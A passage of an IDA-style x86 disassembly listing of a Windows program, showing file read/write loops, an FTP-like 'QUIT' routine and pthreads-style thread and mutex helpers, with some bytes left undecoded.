		jnz	short loc_42F82D
		mov	ebp, dword_511AB0
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42F883


loc_42F7EA:				; CODE XREF: sub_42F6F0+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_402216
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42F813
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42F7EA
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F813:				; CODE XREF: sub_42F6F0+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F82D:				; CODE XREF: sub_42F6F0+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42F883
		mov	esi, dword_511AA0


loc_42F84A:				; CODE XREF: sub_42F6F0+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42F871
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42F84A
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F871:				; CODE XREF: sub_42F6F0+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42F883:				; CODE XREF: sub_42F6F0+F4j
					; sub_42F6F0+121j ...
		push	edi
		call	near ptr 77C2C21Bh
		nop
		push	ebx
		call	near ptr 77C3EEF6h
		nop
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42F8A6
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42F8A6:				; CODE XREF: sub_42F6F0+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BEF
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F6F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F940:				; CODE XREF: ___:004016A9j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F970:				; CODE XREF: ___:00401D43j
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42F9A7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9A7:				; CODE XREF: ___:0042F99Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_511A6C
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4474C0
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42F9E8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9E8:				; CODE XREF: ___:0042F9DBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4476C4
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FA44
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4476BC
		push	esi
		nop
		call	near ptr 77C41B72h
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42FA44
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42FA44:				; CODE XREF: ___:0042FA07j
					; ___:0042FA28j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FAA0:				; CODE XREF: ___:004013C0j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42FAD0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FAD0:				; CODE XREF: ___:0042FAC5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476D0
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42FB0B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FB0B:				; CODE XREF: ___:0042FAFBj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB70	proc near		; CODE XREF: sub_4016B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
sub_42FB70	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBA0:				; CODE XREF: ___:004016D1j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBD0:				; CODE XREF: ___:0040149Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	esi, dword_511A6C
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476E8
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FC69
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_4476DC
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FC69:				; CODE XREF: ___:0042FBF1j
					; ___:0042FC0Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FCB0:				; CODE XREF: ___:00401C7Bj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42FCD9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FCD9:				; CODE XREF: ___:0042FCD0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_4476F4
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD30	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42FD69
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42E490
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_511AD0
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42FD69:				; CODE XREF: sub_42FD30+Aj
		pop	esi
		retn
sub_42FD30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FD80:				; CODE XREF: ___:004021C1j
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42FD90
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FD90:				; CODE XREF: ___:0042FD87j
		push	1Ch
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		test	eax, eax
		jnz	short loc_42FDA6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FDA6:				; CODE XREF: ___:0042FD9Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE00:				; CODE XREF: ___:0040151Ej
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE19
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FE19:				; CODE XREF: ___:0042FE10j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE50:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42FE75
		test	eax, eax
		jz	short loc_42FE75
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42FE75:				; CODE XREF: ___:0042FE64j
					; ___:0042FE68j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEA0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FEB9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FEB9:				; CODE XREF: ___:0042FEB0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42FECD
		cmp	eax, 1
		jz	short loc_42FECD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FECD:				; CODE XREF: ___:0042FEBFj
					; ___:0042FEC4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEF0:				; CODE XREF: ___:00401519j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF10:				; CODE XREF: ___:00401834j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF30:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF49
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF49:				; CODE XREF: ___:0042FF40j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF70:				; CODE XREF: ___:00402207j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF89
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF89:				; CODE XREF: ___:0042FF80j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFB0:				; CODE XREF: ___:004019B0j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFE0:				; CODE XREF: ___:004019ABj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_430002
		dec	eax
		jz	short loc_42FFF2
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FFF2:				; CODE XREF: ___:0042FFEAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_430002:				; CODE XREF: ___:0042FFE7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430020:				; CODE XREF: ___:00401C1Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_4300BB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_4300BB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_4300B2
		mov	eax, [esp+14h]	; DATA XREF: ___:off_444E90o
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		jmp	short loc_430062
; ---------------------------------------------------------------------------


loc_430060:				; CODE XREF: ___:00430054j
					; ___:0043005Aj
		xor	eax, eax


loc_430062:				; CODE XREF: ___:0043005Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4300A8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43009F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43009F:				; CODE XREF: ___:00430097j
		push	edi
		call	sub_401690
		add	esp, 4


loc_4300A8:				; CODE XREF: ___:00430082j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4300B2:				; CODE XREF: ___:0043004Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4300BB:				; CODE XREF: ___:00430029j
					; ___:00430035j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430100:				; CODE XREF: ___:0040220Cj
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_430168
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_430168
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43015E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43014F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43014F:				; CODE XREF: ___:0043013Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch


loc_43015E:				; CODE XREF: ___:0043012Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430168:				; CODE XREF: ___:0043010Aj
					; ___:00430111j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301A0:				; CODE XREF: ___:004017A3j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_430254
		mov	esi, [eax]
		test	esi, esi
		jz	loc_430254
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 279092Ah
		test	eax, eax
		jnz	short loc_4301E7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_430234
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_402068
		add	esp, 8
		mov	esi, eax
		jmp	short loc_430230
; ---------------------------------------------------------------------------


loc_4301E7:				; CODE XREF: ___:004301C8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_43020B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_43020D


loc_43020B:				; CODE XREF: ___:004301F7j
		xor	ebx, ebx


loc_43020D:				; CODE XREF: ___:00430209j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_430230
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8


loc_430230:				; CODE XREF: ___:004301E5j
					; ___:0043021Fj
		test	esi, esi
		jnz	short loc_43024E


loc_430234:				; CODE XREF: ___:004301D2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_5103C8	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_43024E:				; CODE XREF: ___:00430232j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430254:				; CODE XREF: ___:004301A7j
					; ___:004301B1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430290:				; CODE XREF: ___:00401F6Ej
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4302B3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4302B3:				; CODE XREF: ___:004302A2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4302E0:				; CODE XREF: ___:00401A87j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_430301
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_430301
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430301:				; CODE XREF: ___:004302E9j
					; ___:004302EFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430320:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43033D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43033D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43033D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43033D:				; CODE XREF: ___:00430326j
					; ___:0043032Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430360:				; CODE XREF: ___:00401636j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43038A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43038A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43037E
		test	eax, eax
		jnz	short loc_43038A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43037E:				; CODE XREF: ___:00430375j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43038A:				; CODE XREF: ___:00430366j
					; ___:0043036Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4303A0	proc near		; CODE XREF: sub_401415j
		push	esi
		push	edi
		call	sub_4012E4
sub_4303A0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 360277E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 36035DE8h, 0B4E85302h
		dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_430460:				; CODE XREF: ___:00402261j
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 3601B7E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 36029DE8h, 0F4E85702h
		dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401D02j
		push	esi
		push	edi
		call	sub_4012E4
sub_430520	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 19E89050h, 85023601h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
		dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_4305A0:				; CODE XREF: ___:00401D39j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_4306D9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4305DB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4305DB:				; CODE XREF: ___:004305CCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A64
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402248
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_4306B2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_4306B2
		cmp	[esi+0Ch], ebp
		jge	loc_4306C5
		test	edi, edi
		jz	short loc_430644
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_430644:				; CODE XREF: ___:00430619j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 27809B8h
		push	0
		push	edi
		nop
		call	near ptr 2790664h
		cmp	eax, 102h
		jnz	short loc_4306D2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		nop
		call	near ptr 2780B37h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_430750
		push	ecx
		push	edi
		nop
		call	near ptr 2790000h
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		nop
		call	near ptr 27902E2h
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4306B2:				; CODE XREF: ___:004305FDj
					; ___:00430608j
		cmp	[esi+0Ch], ebp
		jge	short loc_4306C5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 27904E2h
		test	eax, eax
		jnz	short loc_4306C9


loc_4306C5:				; CODE XREF: ___:00430611j
					; ___:004306B5j
		mov	[esp+10h], ebp


loc_4306C9:				; CODE XREF: ___:004306C3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_4306D2:				; CODE XREF: ___:0043065Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_4306D9:				; CODE XREF: ___:004305BFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
